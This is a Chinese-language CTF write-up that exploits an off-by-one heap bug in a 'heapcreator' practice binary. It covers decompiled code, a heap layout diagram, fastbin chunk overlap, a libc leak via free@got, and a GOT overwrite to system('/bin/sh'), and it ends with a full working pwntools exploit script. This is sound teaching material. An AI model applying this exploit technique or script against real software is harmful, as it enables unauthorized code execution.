静态分析
我们拿到题目之后先查看一下保护机制
RELRO STACK CANARY NX PIE Partial RELRO Canary found NX enabled No PIEPartial RELRO → GOT 可写,能劫持 GOT
No PIE → 程序基址固定 0x400000,GOT 地址已知
libc 2.23 → 无 tcache,直接用 fastbin
我们ida反汇编看一下
我们看到程序相对比较简单,我们来做一个分析
create_heap
unsigned __int64 create_heap() { heap *v0; // rbx int i; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { heaparray[i] = (heap *)malloc(0x10u); if ( !heaparray[i] ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8u); size = atoi(buf); v0 = heaparray[i]; v0->content = (char *)malloc(size); if ( !heaparray[i]->content ) { puts("Allocate Error"); exit(2); } heaparray[i]->size = size; printf("Content of heap:"); read_input(heaparray[i]->content, size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }我们经过分析得到一个这样的结构
作者有点手残,各位看官莫怪,这里注意:n=9
整理一下就是这样的结构体
struct heap { size_t size; // 8 字节 char *content; // 8 字节指针 }; struct heap *heaparray[10]; // 全局数组,存每个 heap 的 struct 指针edit_heap
unsigned __int64 edit_heap() { unsigned int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Content of heap : "); read_input(heaparray[v1]->content, heaparray[v1]->size + 1); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }这里我们发现了漏洞off-by-one
if ( heaparray[v1] ) { printf("Content of heap : "); read_input(heaparray[v1]->content, heaparray[v1]->size + 1); puts("Done !"); }这里我们画一个图进行解释一下,注意:这个图可真实的堆栈图是有出入的,我们这里只是为了方便大家理解,我们看程序输入size+1的大小就是将heaparray[v1]填满了size个字节之后溢出了。我们现在确定了这个漏洞点,后面的几个没什么说的,我们直接进行利用;
利用
off-by-one 改 heap[1] 的 struct chunk size:0x21 → 0x41(0x20→0x40)
2. free(1):struct 被误判为 0x40 进 fastbin[0x40],content 正常进 fastbin[0x20]
3. 重新 create 制造重叠:新 struct = 旧 content,新 content = 旧 struct
4. 通过重叠把新 struct 的 content 指针改成 free@got
5. show 泄漏 free 真实地址 → 算 libc 基址
6. edit 把 free@got 覆写成 system
7. delete 触发 system("/bin/sh")
动态验证
我们这里先进行修改一下libc的版本
这里下断点到第一菜单,停在第一个菜单。之后每一步的「输入」就是直接敲菜单,断点会自动拦住你。
这里我们创建两个chunk
这里我们进行查看的就是heaparray 的区域
这里两个chunk为什么相差0x40?
堆地址 内容 A+0x00 [prev_size][size=0x21] ← chunk0_struct 头 A+0x10 size=0x18 ] ← heaparray[0] 指向这 ★ A+0x18 content = A+0x30 ] struct heap (0x10) A+0x20 [prev_size][size=0x21] ← chunk0_content 头 | 0x20 A+0x30 "dada" ← heap[0]->content | A+0x40 [prev_size][size=0x21] ← chunk1_struct 头 | 0x20 A+0x50 size=0x10 ] ← heaparray[1] 指向这 ★ A+0x58 content = A+0x70 ] struct heap (0x10) A+0x60 [prev_size][size=0x21] ← chunk1_content 头 | 0x20 A+0x70 "ddaa" ← heap[1]->content |利用off-by-one进行改size,为什么要 25 个且不带换行前导:read_input 读的是 size+1 = 0x19 = 25,终端规范模式下按回车才提交,25 个字符刚好凑满请求长度,\n 留在队列里不被读走。
我们现在已经成功修改chunk的大小,现在我们就释放这个chunk,让他进错bin
看到 fastbin[0x20] 和 fastbin[0x40] 各挂一个 chunk。这就是漏洞的核心:free 只看 chunk 头里的 size 字段,0x41 让它以为这是 0x40 的块。同时 x/gx 0x6020a8 应为 0(delete_heap 里置了 NULL)。
看到地址互换了:heaparray[1] 现在指向原来的 content 位置。此时 A+0x70 和 A+0x78 被 B 覆盖了,用 gdb 补成 payload 想要的值:
heaparray[1]->content == free@got。指针劫持成立。
这是 free 的真实地址
此时我们发现free@got 现在等于 system。
这个时候我们已经把 content 改成真正的 /bin/sh
之后我们就可以拿到shell了
之后我们就可以进行构造exp了
from pwn import * import time context.log_level = 'info' r = process(['./ld-2.23.so', '--library-path', '.', './heapcreator'], stdin=PIPE, stdout=PIPE, stderr=PIPE) heap = ELF('./heapcreator') libc = ELF('./libc.so.6') def create(size, content): r.recvuntil(b"Your choice :"); r.sendline(b"1") r.recvuntil(b"Size of Heap : "); r.sendline(str(size).encode()) r.recvuntil(b"Content of heap:"); r.send(content) def edit(idx, content): r.recvuntil(b"Your choice :"); r.sendline(b"2") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) r.recvuntil(b"Content of heap : "); r.send(content) def show(idx): r.recvuntil(b"Your choice :"); r.sendline(b"3") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) def delete(idx): r.recvuntil(b"Your choice :"); r.sendline(b"4") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) free_got = heap.got['free'] # 1. off-by-one 把 heap[1] 的 struct chunk size 0x21 → 0x41 create(0x18, b"dada") create(0x10, b"ddaa") edit(0, b"/bin/sh\x00" + b"a" * 0x10 + b"\x41") # 2. free 后 struct 进 fastbin 0x40,content 进 fastbin 0x20 delete(1) # 3. 重新分配制造 overlap,写 content 覆盖新 struct 的 content 指针为 free@got create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got)) # 4. leak free 地址 show(1) r.recvuntil(b"Content : ") data = r.recvuntil(b"Done !") free_addr = u64(data.split(b"\n")[0].ljust(8, b"\x00")) libc_base = free_addr - libc.symbols['free'] log.success('libc base: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] # 5. free@got → system edit(1, p64(system_addr)) # 6. 触发 system("/bin/sh") delete(0) time.sleep(0.3) r.sendline(b"id; echo SHELL_OK; exit") time.sleep(0.3) data = r.recvrepeat(3) log.success('output: ' + repr(data)) r.close()